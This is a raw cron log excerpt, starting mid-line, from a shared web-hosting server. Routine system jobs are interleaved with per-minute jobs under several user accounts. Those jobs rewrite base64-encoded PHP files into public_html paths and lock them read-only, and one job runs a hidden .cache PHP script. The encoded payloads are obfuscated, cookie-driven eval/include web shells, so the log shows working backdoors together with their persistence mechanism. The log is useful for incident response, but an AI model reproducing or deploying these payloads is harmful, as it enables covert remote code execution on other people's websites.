dTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:24:01 medusa CROND[9475]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:24:01 medusa CROND[9476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:24:01 medusa CROND[9477]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:24:01 medusa CROND[9478]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:24:01 medusa CROND[9481]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:24:01 medusa CROND[9494]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:25:01 medusa CROND[27576]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 16:25:01 medusa CROND[27697]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 16:25:01 medusa CROND[27882]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 16:25:01 medusa CROND[27886]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 16:25:01 medusa CROND[27889]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:25:01 medusa CROND[27888]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:25:01 medusa CROND[27892]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:25:01 medusa CROND[27904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:25:01 medusa CROND[27903]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 16:25:01 medusa CROND[27908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:25:01 medusa CROND[27909]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:25:01 medusa CROND[27910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 16:25:01 medusa CROND[27906]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 16:25:01 medusa CROND[27911]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 16:25:01 medusa CROND[27915]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:25:01 medusa CROND[27916]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:25:01 medusa CROND[27918]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 16:25:01 medusa CROND[27919]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  2 16:25:01 medusa CROND[27921]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:25:01 medusa CROND[27920]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 16:25:01 medusa CROND[27927]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:25:01 medusa CROND[27936]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:25:01 medusa CROND[27907]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 16:26:01 medusa CROND[12618]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 16:26:01 medusa CROND[12803]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 16:26:01 medusa CROND[12847]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:26:01 medusa CROND[12851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:26:01 medusa CROND[12853]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:26:01 medusa CROND[12859]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:26:01 medusa CROND[12855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:26:01 medusa CROND[12858]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:26:01 medusa CROND[12866]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:26:01 medusa CROND[12868]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:26:01 medusa CROND[12869]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
